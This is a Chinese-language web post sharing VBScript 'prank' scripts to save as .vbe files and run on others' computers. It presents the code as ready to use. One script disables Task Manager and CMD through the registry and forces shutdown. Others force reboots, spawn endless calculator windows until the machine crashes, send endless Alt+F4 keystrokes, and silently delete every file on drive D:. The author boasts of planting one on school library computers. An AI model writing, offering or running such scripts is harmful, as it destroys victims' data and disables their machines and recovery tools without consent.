set s=createobject('wscript.shell')set bag=getobject('winmgmts:\\.\root\cimv2')set pipe=bag.execquery('select * from win32_process where name='wscript.exe'')For Each id in pipeif instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 thens.regwrite'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr',0,'REG_DWORD's.regwrite'HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD',0,'REG_DWORD'id.terminate()elses.regwrite'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr',1,'REG_DWORD's.regwrite'HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD',1,'REG_DWORD'for i=1 to 60s.popup'系统将在'& 60-i &'秒后关机...',1,'系统提示',4096+48nextSet colOS = GetObject('winmgmts:{(Shutdown)}').ExecQuery('Select * FROM Win32_OperatingSystem')For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNext复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,此代码的威力:1:开机就强制自动关机2:cmd命令打不开3:结束任务不管用4:F8安全模式也不管用呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。第2种on error resume nextdim WSHshellAset WSHshellA = wscript.createobject('wscript.shell')WSHshellA.run 'cmd.exe /c shutdown -r -t 60 -c ''说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···'' ',0 ,truedim ado while(a <> '宝宝,我是天下第一大傻B')a = inputbox ('宝宝,我是天下第一大傻B,就不关机,快撒,说 ''宝宝,我是天下第一大傻B'' ','说不说','不说',8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,'MsgBox'loopmsgbox chr(13) + chr(13) + chr(13) + '早说就行了嘛,乖乖'dim WSHshellset WSHshell = wscript.createobject('wscript.shell')WSHshell.run 'cmd.exe /c shutdown -a',0 ,truemsgbox chr(13) + chr(13) + chr(13) + '宝宝是不是又帅啦??'这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈------------------------------------------------------------------------------domsgbox 'You are foolish!'loop------------------------------------------------------------------------------三、打开无数个计算器,直到死机------------------------------------------------------------------------------set wsh=createobject('wscript.shell')dowsh.run 'calc'loop-----------------------------------------------------------------------------四、直接关机--------------------
---------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject('wscript.shell')WSHshell.run 'shutdown -f -s -t 00',0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject('wscript.shell')WSHshell.run 'cmd /c ''del d:\*.* / f /q /s''',0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox '哈哈 你被耍了!'loop----------------------------------------------------------------------------七、不断按下alt+f4 (开什么都关闭……)---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject('wscript.shell')while(1)WSHshell.SendKeys '%{F4}'loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)-----------------------------------------------------------------------------dim sdo until s=500s=s+1msgbox '哥们,给我按500次回车吧',64loop'------------------------ ------------------------------------------------------------九、关不掉的窗口------------------------------------------------------------------------------------WScript.Echo('嘿,谢谢你打开我哦,我等你很久拉!'&TSName)WScript.Echo('你是可爱的小朋吗?')WScript.Echo('哈,我想你拉,这你都不知道吗?')WScript.Echo('怎么才来,说~是不是不关心我')WScript.Echo('哼,我生气拉,等你这么久,心都凉啦。')WScript.Echo('小强很生气,后果很严重哦。')WScript.Echo('嘿嘿!你也会很惨滴哦')WScript.Echo('是不是想清除我?')WScript.Echo('那你要点上50下哦,不过会给你惊喜滴')WScript.Echo('还剩49下,快点点哦')WScript.Echo('还剩48下,快点,小笨蛋!')WScript.Echo('还剩47下对,就这样快点点!')WScript.Echo('还剩46下。你啊就是笨,要快哦,我先不打扰你工作。')WScript.Echo('还剩45下,记得要快哦!')WScript.Echo('还剩43下')WScript.Echo('还剩42下')WScript.Echo('还剩41下')WScript.Echo('还剩40下')WScript.Echo('还剩39下')WScript.Echo('还剩38下')WScript.Echo('还剩37下')WScript.Echo('还剩36下')WScript.Echo('还剩35下')WScript.Echo('还剩34下')WScript.Echo('还剩33下')WScript.Echo('还剩32下')WScript.Echo('还剩30下')WScript.Echo('还剩29下')WScript.Echo('还剩28下')WScript.Echo('还剩27下')WScript.Echo('还剩26下')WScript.Echo('还剩25下')WScript.Echo('还剩24
下')WScript.Echo('还剩23下')WScript.Echo('还剩22下')WScript.Echo('还剩21下')WScript.Echo('还剩20下')WScript.Echo('还剩19下')WScript.Echo('还剩18下')WScript.Echo('还剩17下')WScript.Echo('还剩16下')WScript.Echo('还剩15下')WScript.Echo('还剩14下')WScript.Echo('还剩13下停停!!!慢点,我有话要说')WScript.Echo('还剩12下,你继续点我就会消失滴')WScript.Echo('还剩11下,以后就看不到我拉。555555')WScript.Echo('还剩10下,你现在可以选择停止!')WScript.Echo('还剩9下。你还点啊,不要我拉?')WScript.Echo('还剩8下,有点伤心拉,干嘛丢弃人家')WScript.Echo('还剩7下。疯了,你有点负意!')WScript.Echo('还剩6下。对。你就点吧,我恨你!')WScript.Echo('还剩5下,不明白,删除我你就好吗?')WScript.Echo('还剩4下!真要删除我?')WScript.Echo('还剩3下。可是我真的很眷恋你。。。')WScript.Echo('还剩2下。不要这么绝情嘛,人家是爱你的!')WScript.Echo('还剩1下。哼,既然你这么绝情。也别怪我无义!!!')WScript.Echo('我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')懂VBE的可以试试,很好玩的×使用方法,建一个本文文档把你想要的复制进去,另存为,,,把后戳名改成×××.vbe
联系客服